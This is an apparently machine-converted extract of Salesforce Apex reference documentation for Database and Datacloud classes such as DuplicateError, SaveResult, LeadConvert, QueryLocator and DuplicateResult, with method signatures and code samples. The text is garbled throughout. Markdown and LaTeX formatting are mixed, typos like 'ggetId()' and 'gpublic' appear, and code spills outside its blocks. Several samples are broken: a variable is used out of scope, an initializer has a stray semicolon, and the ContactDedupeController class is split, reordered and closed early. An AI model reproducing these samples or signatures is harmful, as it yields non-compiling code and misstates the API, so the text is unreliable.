**Note:** Email sent through Apex because of a group event includes additional behaviors. A *group event* is an event for which `IsGroupEvent` is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:

- Sending a group event invitation to a user respects the `triggerUserEmail` option
- Email sent when updating or deleting a group event also respects the `triggerUserEmail` and `triggerOtherEmail` options, as appropriate

**DuplicateError Class**

Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has set up duplicate rules, which are part of the Duplicate Management feature.

**Namespace**

Database

**Example**

When you try to save a record that’s identified as a duplicate record by a duplicate rule, you’ll receive a duplicate error. If the duplicate rule contains the Allow action, an attempt will be made to bypass the error.

```java
// Try to save a duplicate account
Account duplicateAccount = new Account(Name='Acme', BillingCity='San Francisco');
Database.SaveResult sr = Database.insert(duplicateAccount, false);
if (!sr.isSuccess()) {
    // Insertion failed due to duplicate detected
    for(Database.Error duplicateError : sr.getErrors()){
        Datacloud.DuplicateResult duplicateResult =
            ((Database.DuplicateError)duplicateError).getDuplicateResult();
        System.debug('Duplicate records have been detected by ' +
                     duplicateResult.getDuplicateRule());
    }
    System.debug(duplicateResult.getErrorMessage());
}
```
// If the duplicate rule is an alert rule, we can try to bypass it
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Database.SaveResult sr2 = Database.insert(duplicateAccount, dml);
if (sr2.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}

IN THIS SECTION:
DuplicateError Methods

SEE ALSO:
SaveResult Class
DuplicateResult Class
Error Class

DuplicateError Methods

The following are methods for DuplicateError.

IN THIS SECTION:
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.

getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.

Signature
public Datacloud.DuplicateResult getDuplicateResult()

Return Value
Type: Datacloud.DuplicateResult
Example
This example shows the code used to get the possible duplicates and related match information after saving a new contact. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 1441 to check out the entire sample application.

```java
Datacloud.DuplicateResult duplicateResult =
    duplicateError.getDuplicateResult();
```

**getFields()**
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

**Signature**
```java
public List<String> getFields()
```

**Return Value**
Type: `List<String>`

**getMessage()**
Returns the error message text.

**Signature**
```java
public String getMessage()
```

**Return Value**
Type: `String`

**getStatusCode()**
Returns a code that characterizes the error.

**Signature**
```java
public StatusCode getStatusCode()
```

**Return Value**
Type: `StatusCode`

### EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the `Database.emptyRecycleBin` method.
Namespace

Database

Usage

A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each object in the list corresponds to either a record ID or an sObject passed as the parameter in the Database.emptyRecycleBin method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the second, and so on.

EmptyRecycleBinResult Methods

The following are methods for EmptyRecycleBinResult. All are instance methods.

IN THIS SECTION:

getErrors()

If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred, the returned list is empty.

ggetId()

Returns the ID of the record or sObject you attempted to delete.

isSuccess()

Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.

getErrors ()

If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred, the returned list is empty.

Signature

public Database.Errors[] getErrors ()

Return Value

Type: Database.Errors []

getId ()

Returns the ID of the record or sObject you attempted to delete.

Signature

public ID getId ()

Return Value

Type: ID
**isSuccess()**

Returns `true` if the record or sObject was successfully removed from the Recycle Bin; otherwise `false`.

**Signature**

```java
public Boolean isSuccess()
```

**Return Value**

Type: `Boolean`

**Error Class**

Represents information about an error that occurred during a DML operation when using a Database method.

**Namespace**

`Database`

**Usage**

`Error` class is part of `SaveResult`, which is generated when a user attempts to save a Salesforce record.

**SEE ALSO:**

- `SaveResult Class`
- `DuplicateError Class`

**Error Methods**

The following are methods for `Error`. All are instance methods.

**IN THIS SECTION:**

- `getFields()`
  Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

- `getMessage()`
  Returns the error message text.

- `getStatusCode()`
  Returns a code that characterizes the error.

**getFields()**

Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

**Signature**

```java
public String[] getFields()
```
Return Value
Type: String[]

**getMessage()**
Returns the error message text.

**Signature**
```
public String getMessage()
```

Return Value
Type: String

**getStatusCode()**
Returns a code that characterizes the error.

**Signature**
```
public StatusCode getStatusCode()
```

Usage
The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce WSDLs and Client Authentication Certificates in the Salesforce online help.)

GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.

Namespace
Database

Usage
The *Database.getDeleted* method returns the deleted record information as a *Database.GetDeletedResult* object.

GetDeletedResult Methods
The following are methods for *GetDeletedResult*. All are instance methods.
IN THIS SECTION:

getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.

getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in Database.getDeleted.

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.

getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.

Signature
public List<Database.DeletedRecord> getDeletedRecords()

Return Value
Type: List<Database.DeletedRecord>

getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in Database.getDeleted.

Signature
public Date getEarliestDateAvailable()

Return Value
Type: Date

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.

Signature
public Date getLatestDateCovered()

Return Value
Type: Date
Usage
If there is a value, it is less than or equal to the \textit{endDate} argument of \texttt{Database.getDeleted}. A value here indicates that, for safety, you should use this value for the \textit{startDate} of your next call to capture the changes that started after this date but didn’t complete before \textit{endDate} and were, therefore, not returned in the previous call.

\textbf{GetUpdatedResult Class}
Contains the result for the \texttt{Database.getUpdated} method call.

\textbf{Namespace}
\texttt{Database}

\textbf{Usage}
Use the methods in this class to obtain detailed information about the updated records returned by \texttt{Database.getUpdated} for a specific time window.

\textbf{GetUpdatedResult Methods}
The following are methods for \texttt{GetUpdatedResult}. All are instance methods.

\textbf{IN THIS SECTION:}
\begin{itemize}
  \item \texttt{getIds()}
  \hspace{1em} Returns the IDs of records updated within the time window specified in the \texttt{Database.getUpdated} method.
  \item \texttt{getLatestDateCovered()}
  \hspace{1em} Returns the date in Coordinated Universal Time (UTC) of the last date covered in the \texttt{Database.getUpdated} call.
\end{itemize}

\texttt{getIds()}
Returns the IDs of records updated within the time window specified in the \texttt{Database.getUpdated} method.

\textbf{Signature}
\texttt{public List<Id> getIds()}

\textbf{Return Value}
Type: \texttt{List<Id>}

\texttt{getLatestDateCovered()}
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the \texttt{Database.getUpdated} call.

\textbf{Signature}
\texttt{public Date getLatestDateCovered()}
Return Value
Type: Date

LeadConvert Class
Contains information used for lead conversion.

Namespace
Database

Usage
The convertLead Database method converts a lead into an account and contact, as well as (optionally) an opportunity. The convertLead takes an instance of the Database.LeadConvert class as a parameter. Create an instance of this class and set the information required for conversion, such as setting the lead, and destination account and contact.

Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a LeadConvert object, sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies that the conversion was successful.

```java
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
  LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
```

IN THIS SECTION:
  LeadConvert Constructors
  LeadConvert Methods

LeadConvert Constructors
The following are constructors for LeadConvert.

IN THIS SECTION:
  LeadConvert()}
  Creates a new instance of the Database.LeadConvert class.
LeadConvert()

Creates a new instance of the Database.LeadConvert class.

**Signature**

```java
public LeadConvert()
```

**LeadConvert Methods**

The following are methods for LeadConvert. All are instance methods.

**IN THIS SECTION:**

- `getAccountId()`: Gets the ID of the account into which the lead will be merged.
- `getContactId()`: Gets the ID of the contact into which the lead will be merged.
- `getConvertedStatus()`: Gets the lead status value for a converted lead.
- `getLeadID()`: Gets the ID of the lead to convert.
- `getOpportunityName()`: Gets the name of the opportunity to create.
- `getOwnerId()`: Gets the ID of the person to own any newly created account, contact, and opportunity.
- `isDoNotCreateOpportunity()`: Indicates whether an Opportunity is created during lead conversion (`false`, the default) or not (`true`).
- `isOverWriteLeadSource()`: Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field in the source Lead object (`true`), or not (`false`, the default).
- `isSendNotificationEmail()`: Indicates whether a notification email is sent to the owner specified by `setOwnerId` (`true`) or not (`false`, the default).
- `setAccountId(accountId)`: Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including person accounts. Otherwise, if `setAccountId` is specified, a new account is created.
- `setContactId(contactId)`: Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with `setAccountId`, and `setAccountId` must be specified). This value is required only when updating an existing contact.
- `setConvertedStatus(status)`: Sets the lead status value for a converted lead. This field is required.
- `setDoNotCreateOpportunity(createOpportunity)`: Specifies whether to create an opportunity during lead conversion. The default value is `false`: opportunities are created by default. Set this flag to `true` only if you do not want to create an opportunity from the lead.
**setLeadId(leadId)**
Sets the ID of the lead to convert. This field is required.

**setOpportunityName(opportunityName)**
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.

**setOverwriteLeadSource(overwriteLeadSource)**
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify setContactId for the target contact.

**setOwnerId(OwnerId)**
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value, the owner of the new object will be the owner of the lead.

**setSendNotificationEmail(sendEmail)**
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not send email.

**getAccountId()**
Gets the ID of the account into which the lead will be merged.

**Signature**

```
public ID getAccountId()
```

**Return Value**

Type: ID

**getContactId()**
Gets the ID of the contact into which the lead will be merged.

**Signature**

```
public ID getContactId()
```

**Return Value**

Type: ID

**getConvertedStatus()**
Gets the lead status value for a converted lead.

**Signature**

```
public String getConvertedStatus()
```
Return Value
Type: String

**getLeadID()**
Gets the ID of the lead to convert.

Signature
public ID getLeadID()

Return Value
Type: ID

**getOpportunityName()**
Gets the name of the opportunity to create.

Signature
public String getOpportunityName()

Return Value
Type: String

**getOwnerID()**
Gets the ID of the person to own any newly created account, contact, and opportunity.

Signature
public ID getOwnerID()

Return Value
Type: ID

**isDoNotCreateOpportunity()**
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).

Signature
public Boolean isDoNotCreateOpportunity()

Return Value
Type: Boolean
**isOverWriteLeadSource()**
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field in the source Lead object (true), or not (false, the default).

**Signature**
public Boolean isOverWriteLeadSource()

**Return Value**
Type: Boolean

**isSendNotificationEmail()**
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).

**Signature**
public Boolean isSendNotificationEmail()

**Return Value**
Type: Boolean

**setAccountId(accountId)**
Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including person accounts. Otherwise, if setAccountId is specified, a new account is created.

**Signature**
public Void setAccountId(ID accountId)

**Parameters**

`accountId`
Type: ID

**Return Value**
Type: Void

**setContactId(contactId)**
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.

**Signature**
public Void setContactId(ID contactId)
Parameters

`contactId`
Type: ID

Return Value
Type: Void

Usage
If `setContactId` is specified, then the application creates a new contact that is implicitly associated with the account. The contact name and other existing data are not overwritten (unless `setOverwriteLeadSource` is set to true, in which case only the `LeadSource` field is overwritten).

![Important: If you are converting a lead into a person account, do not specify `setContactId` or an error will result. Specify only `setAccountId` of the person account.](image)

`setConvertedStatus(status)`
Sets the lead status value for a converted lead. This field is required.

Signature

```java
public Void setConvertedStatus(String status)
```

Parameters

`status`
Type: String

Return Value
Type: Void

`setDoNotCreateOpportunity(createOpportunity)`
Specifies whether to create an opportunity during lead conversion. The default value is `false`: opportunities are created by default. Set this flag to `true` only if you do not want to create an opportunity from the lead.

Signature

```java
public Void setDoNotCreateOpportunity(Boolean createOpportunity)
```

Parameters

`createOpportunity`
Type: Boolean

Return Value
Type: Void
**setLeadId(leadId)**
Sets the ID of the lead to convert. This field is required.

**Signature**
```
public Void setLeadId(ID leadId)
```

**Parameters**

- **leadId**
  Type: ID

**Return Value**
Type: Void

**setOpportunityName(opportunityName)**
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.

**Signature**
```
public Void setOpportunityName(String opportunityName)
```

**Parameters**

- **opportunityName**
  Type: String

**Return Value**
Type: Void

**Usage**
The maximum length of this field is 80 characters.
If `setDoNotCreateOpportunity` is true, no Opportunity is created and this field must be left blank; otherwise, an error is returned.

**setOverwriteLeadSource(overwriteLeadSource)**
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in the source lead object. The default value is `false`, to not overwrite the field. If you specify this as `true`, you must also specify `setContactId` for the target contact.

**Signature**
```
public Void setOverwriteLeadSource(Boolean overwriteLeadSource)
```
Parameters

overwriteLeadSource
Type: Boolean

Return Value
Type: Void

setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value, the owner of the new object will be the owner of the lead.

Signature
public Void setOwnerId(ID ownerId)

Parameters

ownerId
Type: ID

Return Value
Type: Void

Usage
This method is not applicable when merging with existing objects—if setOwnerId is specified, the ownerId field is not overwritten in an existing account or contact.

setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not send email.

Signature
public Void setSendNotificationEmail(Boolean sendEmail)

Parameters

sendEmail
Type: Boolean

Return Value
Type: Void
LeadConvertResult Class
The result of a lead conversion.

Namespace
Database

Usage
An array of LeadConvertResult objects is returned with the `convertLead` Database method. Each element in the LeadConvertResult array corresponds to the sObject array passed as the `SObject[]` parameter in the `convertLead` Database method, that is, the first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds to the second element, and so on. If only one sObject is passed in, the LeadConvertResult array contains a single element.

LeadConvertResult Methods
The following are methods for `LeadConvertResult`. All are instance methods.

**IN THIS SECTION:**
- `getAccountId`
  The ID of the new account (if a new account was specified) or the ID of the account specified when `convertLead` was invoked.
- `getContactId`
  The ID of the new contact (if a new contact was specified) or the ID of the contact specified when `convertLead` was invoked.
- `getErrors`
  If an error occurred, an array of one or more database error objects providing the error code and description.
- `getLeadId`
  The ID of the converted lead.
- `getOpportunityId`
  The ID of the new opportunity, if one was created when `convertLead` was invoked.
- `isSuccess`
  A Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise

**getAccountId()**
The ID of the new account (if a new account was specified) or the ID of the account specified when `convertLead` was invoked.

**Signature**
```
public ID getAccountId()
```

**Return Value**
Type: ID

**getContactId()**

The ID of the new contact (if a new contact was specified) or the ID of the contact specified when `convertLead` was invoked.

**Signature**

```java
public ID getContactId()
```

**Return Value**

Type: ID

**getErrors()**

If an error occurred, an array of one or more database error objects providing the error code and description.

**Signature**

```java
public Database.Error[] getErrors()
```

**Return Value**

Type: `Database.Error[]`

**getLeadId()**

The ID of the converted lead.

**Signature**

```java
public ID getLeadId()
```

**Return Value**

Type: ID

**getOpportunityId()**

The ID of the new opportunity, if one was created when `convertLead` was invoked.

**Signature**

```java
public ID getOpportunityId()
```

**Return Value**

Type: ID

**isSuccess()**

A Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.
Signature

public Boolean isSuccess()

Return Value

Type: Boolean

MergeResult Class

Contains the result of a merge Database method operation.

Namespace

Database

Usage

The Database.merge method returns a Database.MergeResult object for each merged record.

MergeResult Methods

The following are methods for MergeResult. All are instance methods.

IN THIS SECTION:

getErrors()  
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the Database.merge method.

getId()  
Returns the ID of the master record into which other records were merged.

getMergedRecordIds()  
Returns the IDs of the records merged into the master record.

getUpdatedRelatedIds()  
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.

isSuccess()  
Indicates whether the merge was successful (true) or not (false).

getErrors()  
Returns a list of Database.Error objects representing the errors encountered, if any, during a merge operation using the Database.merge method.

Signature

public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>

**getId()**
Returns the ID of the master record into which other records were merged.

**Signature**
```
public Id getId()
```

Return Value
Type: ID

**getMergedRecordIds()**
Returns the IDs of the records merged into the master record.

**Signature**
```
public List<String> getMergedRecordIds()
```

Return Value
Type: List<String>

**getUpdatedRelatedIds()**
Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.

**Signature**
```
public List<String> getUpdatedRelatedIds()
```

Return Value
Type: List<String>

**isSuccess()**
Indicates whether the merge was successful (true) or not (false).

**Signature**
```
public Boolean isSuccess()
```

Return Value
Type: Boolean
QueryLocator Class

Represents the record set returned by Database.getQueryLocator and used with Batch Apex.

Namespace

Database

QueryLocator Methods

The following are methods for QueryLocator. All are instance methods.

IN THIS SECTION:

getQuery()

Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.

iterator()

Returns a new instance of a query locator iterator.

getQuery()

Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method.

Signature

public String getQuery()

Return Value

Type: String

Usage

You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically locks the set of records in the batch.

Example

```
System.assertEquals(QLReturnedFromStart.getQuery(),
                    Database.getQueryLocator([SELECT Id
                                             FROM Account]).getQuery());
```

iterator()

Returns a new instance of a query locator iterator.
Signature

```java
public Database.QueryLocatorIterator iterator()
```

Return Value

Type: `Database.QueryLocatorIterator`

Usage

⚠️ **Warning:** To iterate over a query locator, save the iterator instance that this method returns in a variable and then use this variable to iterate over the collection. Calling `iterator` every time you want to perform an iteration can result in incorrect behavior because each call returns a new iterator instance.

For an example, see `QueryLocatorIterator Class`.

**QueryLocatorIterator Class**

Represents an iterator over a query locator record set.

**Namespace**

`Database`

**Example**

This sample shows how to obtain an iterator for a query locator, which contains five accounts. This sample calls `hasNext` and `next` to get each record in the collection.

```java
// Get a query locator
Database.QueryLocator q = Database.getQueryLocator(
    [SELECT Name FROM Account LIMIT 5]);
// Get an iterator
Database.QueryLocatorIterator it = q.iterator();

// Iterate over the records
while (it.hasNext())
{
    Account a = (Account)it.next();
    System.debug(a);
}
```

**QueryLocatorIterator Methods**

The following are methods for `QueryLocatorIterator`. All are instance methods.

**IN THIS SECTION:**

- `hasNext()`
  
  Returns `true` if there are one or more records remaining in the collection; otherwise, returns `false`.  

next() Advances the iterator to the next sObject record and returns the sObject.

hasNext() Returns true if there are one or more records remaining in the collection; otherwise, returns false.

Signature
public Boolean hasNext()

Return Value
Type: Boolean

next() Advances the iterator to the next sObject record and returns the sObject.

Signature
public sObject next()

Return Value
Type: sObject

Usage
Because the return value is the generic sObject type, you must cast it if using a more specific type. For example:

Account a = (Account)myIterator.next();

Example
Account a = (Account)myIterator.next();

SaveResult Class
The result of an insert or update DML operation returned by a Database method.

Namespace
Database

Usage
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array corresponds to the sObject array passed as the sObject[] parameter in the Database method, that is, the first element in the...
SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResult array contains a single element.

A SaveResult object is generated when a new or existing Salesforce record is saved.

Example

The following example shows how to obtain and iterate through the returned Database.SaveResult objects. It inserts two accounts using Database.insert with a false second parameter to allow partial processing of records on failure. One of the accounts is missing the Name required field, which causes a failure. Next, it iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error messages and fields of the failed records. This example generates one successful operation and one failure.

```java
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
    new Account(Name='Account1'),
    new Account();
};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (sr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully inserted account. Account ID: ' + sr.getId());
    } else {
        // Operation failed, so get all errors
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Account fields that affected this error: ' + err.getFields());
        }
    }
}
```

SEE ALSO:

- Error Class
- DuplicateError Class

SaveResult Methods

The following are methods for SaveResult. All are instance methods.

IN THIS SECTION:

- getErrors()
  If an error occurred, returns an array of one or more database error objects providing the error code and description.
- getId()
  Returns the ID of the sObject you were trying to insert or update.
isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to insert or update.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for that object.

isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Example
This example shows the code used to process duplicate records, which are detected when there is an unsuccessful save due to an error. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 1441 to check out the entire sample application.

```java
if (!saveResult.isSuccess()) {
    // Handle the error
}
```
UndeleteResult Class

The result of an undelete DML operation returned by the Database.undelete method.

Namespace

Database

Usage

An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the undelete Database method; that is, the first element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.

UndeleteResult Methods

The following are methods for UndeleteResult. All are instance methods.

Signature

public Database.Error[] getErrors()

Return Value

Type: Database.Error[]

getErrors()

If an error occurred, returns an array of one or more database error objects providing the error code and description.

signature

public Database.Error[] getErrors()

getId()

Returns the ID of the sObject you were trying to undelete.

Signature

public ID getId()
Return Value
Type: ID

Usage
If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.

**isSuccess()**
Returns a Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.

Signature
`public Boolean isSuccess()`

Return Value
Type: Boolean

**UpsertResult Class**
The result of an upsert DML operation returned by the `Database.upsert` method.

Namespace
`Database`

Usage
An array of `Database.UpsertResult` objects is returned with the `upsert` database method. Each element in the `UpsertResult` array corresponds to the sObject array passed as the `sObject[]` parameter in the `upsert` Database method; that is, the first element in the `UpsertResult` array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the `UpsertResult` array contains a single element.

**UpsertResult Methods**
The following are methods for `UpsertResult`. All are instance methods.

IN THIS SECTION:
- `getErrors()`
  If an error occurred, returns an array of one or more database error objects providing the error code and description.
  ```java
  public String[] getErrors()
  ```
- `getId()`
  Returns the ID of the sObject you were trying to update or insert.
  ```java
  public String getId()
  ```
- `isCreated()`
  A Boolean value that is set to `true` if the record was created, `false` if the record was updated.
isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error []

getId()
Returns the ID of the sObject you were trying to update or insert.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for that object.

isCreated()
A Boolean value that is set to true if the record was created, false if the record was updated.

Signature
public Boolean isCreated()

Return Value
Type: Boolean

isSuccess()
Returns a Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()
Return Value
Type: Boolean

Datacloud Namespace

The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let you control whether and when users can save duplicate records within Salesforce.

The following are the classes in the Datacloud namespace.

IN THIS SECTION:
AdditionalInformationMap Class
  Represents other information, if any, about matched records.
DuplicateResult Class
  Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.
FieldDiff Class
  Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.
MatchRecord Class
  Represents a duplicate record detected by a matching rule.
MatchResult Class
  Represents the duplicate results for a matching rule.

AdditionalInformationMap Class
Represents other information, if any, about matched records.

Namespace
Datacloud

IN THIS SECTION:
AdditionalInformationMap Methods

AdditionalInformationMap Methods
The following are methods for AdditionalInformationMap.

IN THIS SECTION:
getName()
  Returns the element name.
getValue()
  Returns the value of the element.
**getName()**
Returns the element name.

**Signature**
```java
public String getName()
```

**Return Value**
Type: String

**getValue()**
Returns the value of the element.

**Signature**
```java
public String getValue()
```

**Return Value**
Type: String

## DuplicateResult Class
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.

### Namespace
Datacloud

### Usage
The `DuplicateResult` class and its methods are available to organizations that use duplicate rules. `DuplicateResult` is contained within `DuplicateError`, which is part of `SaveResult`. `SaveResult` is generated when a user attempts to save a record in Salesforce.

### Example
This example shows a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records.

The sample application consists of a Visualforce page and an Apex controller. The Visualforce page is listed first so that you can see how the page makes use of the Apex controller. Save the Apex class first before saving the Visualforce page.

```xml
<apex:page controller="ContactDedupeController">
  <apex:form>
    <apex:pageBlock title="Duplicate Records" rendered="(!$hasDuplicateResult)">
      <apex:pageMessages />
      <apex:pageBlockTable value="(!$duplicateRecords)" var="item">
```
This is a sample Apex controller for a page. This controller contains the action method for the Save button. The `save` method inserts a new contact. If errors are returned, this method iterates through each error, checks if it’s a duplicate error, adds the error message to the page, and returns information about the duplicate records to be displayed on the page.

```java
public class ContactDedupeController {

    // Initialize a variable to hold the contact record you're processing
    private final Contact contact;

    // Initialize a list to hold any duplicate records
    private List<sObject> duplicateRecords;

    // Define variable that's true if there are duplicate records
    public boolean hasDuplicateResult{get;set;}

    // Define the constructor
    public ContactDedupeController() {

        // Define the values for the contact you're processing based on its ID
        Id id = ApexPages.currentPage().getParameters().get('id');
        this.contact = (id == null) ? new Contact() :
        [SELECT Id, FirstName, LastName, Email, Phone, AccountId
        FROM Contact WHERE Id = :id];
    } // End of Constructor

} // End of ContactDedupeController Class
```
// Initialize empty list of potential duplicate records
this.duplicateRecords = new List<sObject>();
this.hasDuplicateResult = false;
}

// Return contact and its values to the Visualforce page for display
public Contact getContact() {
    return this.contact;
}

// Return duplicate records to the Visualforce page for display
public List<sObject> getDuplicateRecords() {
    return this.duplicateRecords;
}

// Process the saved record and handle any duplicates
public PageReference save() {
    // Optionally, set DML options here, use “DML” instead of “false”
    // in the insert()
    // Database.DMLOptions dml = new Database.DMLOptions();
    // dml.DuplicateRuleHeader.allowSave = true;
    // dml.DuplicateRuleHeader.includeRecordDetails = true;
    // dml.DuplicateRuleHeader.runsAsCurrentUser = true;
    Database.SaveResult saveResult = Database.insert(contact, false);

    if (!saveResult.isSuccess()) {
        for (Database.Error error : saveResult.getErrors()) {
            // If there are duplicates, an error occurs
            // Process only duplicates and not other errors
            // (e.g., validation errors)
            if (error instanceof Database.DuplicateError) {
                // Handle the duplicate error by first casting it as a
                // DuplicateError class
                // This lets you use methods of that class
                // (e.g., getDuplicateResult())
                Database.DuplicateError duplicateError =
                    (Database.DuplicateError)error;
                Datacloud.DuplicateResult duplicateResult =
                    duplicateError.getDuplicateResult();

                // Display duplicate error message as defined in the duplicate rule
                ApexPages.Message errorMessage = new ApexPages.Message(
                    ApexPages.Severity.ERROR, 'Duplicate Error: ' +
                    duplicateResult.getErrorMessage());
                ApexPages.addMessage(errorMessage);

                // Get duplicate records
                this.duplicateRecords = new List<sObject>();

                // Return only match results of matching rules that
                // find duplicate records
                Datacloud.MatchResult[] matchResults =
            }
        }
    }

    return null;
}
duplicateResult.getMatchResults();

// Just grab first match result (which contains the
duplicate record found and other match info)
Datacloud.MatchResult matchResult = matchResults[0];

Datacloud.MatchRecord[] matchRecords = matchResult.getMatchRecords();

// Add matched record to the duplicate records variable
for (Datacloud.MatchRecord matchRecord : matchRecords) {
    System.debug('MatchRecord: ' + matchRecord.getRecord());
    this.duplicateRecords.add(matchRecord.getRecord());
}
this.hasDuplicateResult = !this.duplicateRecords.isEmpty();

// If there’s a duplicate record, stay on the page
return null;

// After save, navigate to the view page:
return (new ApexPages.StandardController(contact)).view();
isAllowSave()
Indicates whether the duplicate rule will allow a record that’s identified as a duplicate to be saved. Set to true if duplicate rule should allow save; otherwise, false.

getDuplicateRule()
Returns the developer name of the executed duplicate rule that returned duplicate records.

Signature
gpublic String getDuplicateRule()

Return Value
Type: String

getErrorMessage()
Returns the error message configured by the administrator to warn users they may be creating duplicate records. This message is associated with a duplicate rule.

Signature
gpublic String getErrorMessage()

Return Value
Type: String

Example
This example shows the code used to display the error message when duplicates are found while saving a new contact. This code is part of a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records. Review DuplicateResult Class on page 1441 to check out the entire sample application.

```
ApexPages.Message errorMessage = new ApexPages.Message(
